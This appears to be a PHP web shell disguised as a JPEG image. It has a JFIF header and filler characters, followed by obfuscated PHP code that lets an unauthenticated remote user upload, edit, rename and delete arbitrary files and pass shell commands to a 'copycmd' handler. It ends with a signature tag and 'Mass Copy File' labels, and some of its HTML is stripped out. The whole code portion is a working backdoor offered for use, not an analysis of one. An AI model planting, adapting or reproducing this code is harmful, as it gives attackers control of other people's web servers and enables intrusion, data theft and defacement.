????????????????????????????
??????????????/?????????????????
............/...............
.........................../...
?????????????????????????????
>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>
ÿØÿà JFIF ÿÛ „ ( %!1!%)+//.383,7(-.+
-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ ¥2" ÿÄ ÿÄ J ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ ÿÄ * !1AQa‘"2q3±ð#b¡ÿÚ ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁTÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßwpŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
?>
.........................................
.............................................................................
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
$result, 'output' => implode("\n", $output));
}
function wqtqwitnin12i5h12i5($dir) {
$dir = isset($dir) ? $dir : BASE_DIR;
$allFiles = scandir($dir);
$dirs = [];
$filesArr = [];
foreach ($allFiles as $file) {
if ($file === '.' || $file === '..') continue;
$fullPath = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($fullPath)) {
$dirs[] = $file;
} else {
$filesArr[] = $file;
}
}
sort($dirs, SORT_NATURAL | SORT_FLAG_CASE);
sort($filesArr, SORT_NATURAL | SORT_FLAG_CASE);
$sorted = array_merge($dirs, $filesArr);
ob_start(); ?>
| Name |
Type |
Size |
Actions |
|
|
|
0 ? floor(log($size, 1024)) : 0;
$formattedSize = number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power];
$lastModified = date("Y-m-d H:i:s", filemtime($fullPath));
echo '' . $formattedSize . '';
}
?>
|
Edit |
Rename |
Remove
|
$currentDir, 'tableHTML' => $tableHTML, 'message' => '', 'success' => true));
exit;
} else if ($action === 'upload') {
if (isset($_POST['filedata'])) {
$chunkIndex = isset($_POST['dzchunkindex']) ? (int)$_POST['dzchunkindex'] : 0;
$totalChunks = isset($_POST['dztotalchunkcount']) ? (int)$_POST['dztotalchunkcount'] : 1;
$targetDir = isset($currentDir) ? $currentDir : BASE_DIR;
$targetFile = $targetDir . DIRECTORY_SEPARATOR . basename($_POST['filename']);
$fileData = stripslashes($_POST['filedata']);
$fileData = base64_decode($fileData);
$dest = fopen($targetFile, 'ab');
$uploaded = false;
if ($dest) {
$source = fopen('php://memory', 'r+');
fwrite($source, $fileData);
rewind($source);
$uploaded = stream_copy_to_stream($source, $dest) !== false;
fclose($source);
fclose($dest);
}
if (!$uploaded) {
$currentData = fopen($targetFile, 'r+');
if ($currentData !== false) {
fseek($currentData, 0, SEEK_END);
$newData = fopen('php://memory', 'r+');
fwrite($newData, $fileData);
rewind($newData);
$uploaded = stream_copy_to_stream($newData, $currentData) !== false;
fclose($newData);
fclose($currentData);
}
}
if (!$uploaded) {
$message = "Upload failed.";
}
}
$tableHTML = wqtqwitnin12i5h12i5($currentDir);
header('Content-Type: application/json');
$message = ($uploaded) ? "Upload successful" : (isset($message) ? $message : "Upload failed");
echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => (bool)$uploaded));
exit;
} else if ($action === 'edit') {
$currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR;
$editSuccess = false;
if (isset($_POST['filepath']) && isset($_POST['content'])) {
$filepath = $_POST['filepath'];
$content = stripslashes($_POST['content']);
// Validate and write
if (is_file($filepath) && is_writable($filepath)) {
$editSuccess = file_put_contents($filepath, $content) !== false;
}
}
$tableHTML = wqtqwitnin12i5h12i5($currentDir);
header('Content-Type: application/json');
$message = $editSuccess ? "Edit successful" : "Edit failed";
echo json_encode([
'directory' => $currentDir,
'tableHTML' => $tableHTML,
'message' => $message,
'success' => $editSuccess
]);
exit;
} else if ($action === 'rename') {
$currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR;
$renameSuccess = false;
if (isset($_POST['oldname']) && isset($_POST['newname'])) {
$oldname = $_POST['oldname'];
$newname = dirname($oldname) . DIRECTORY_SEPARATOR . $_POST['newname'];
if (file_exists($oldname)) {
$renameSuccess = rename($oldname, $newname);
}
}
$tableHTML = wqtqwitnin12i5h12i5($currentDir);
header('Content-Type: application/json');
$message = $renameSuccess ? "Rename successful" : "Rename failed";
echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => $renameSuccess));
exit;
} else if ($action === 'remove') {
$currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR;
$removeSuccess = false;
if (isset($_POST['filepath'])) {
$filepath = $_POST['filepath'];
if (file_exists($filepath)) {
$removeSuccess = unlink($filepath);
}
}
$tableHTML = wqtqwitnin12i5h12i5($currentDir);
header('Content-Type: application/json');
$message = $removeSuccess ? "Remove successful" : "Remove failed";
echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => $removeSuccess));
exit;
} else if ($action === 'copycmd') {
$pathvalue = isset($_POST['pathvalue']) ? $_POST['pathvalue'] : "";
$shellvalue = isset($_POST['shellvalue']) ? $_POST['shellvalue'] : "";
$result = qwtninxi114x141($pathvalue, $shellvalue);
header('Content-Type: application/json');
echo json_encode($result);
exit;
}
}
?>
#loveforya.
Mass Copy File
Edit File:
Rename File:
Remove File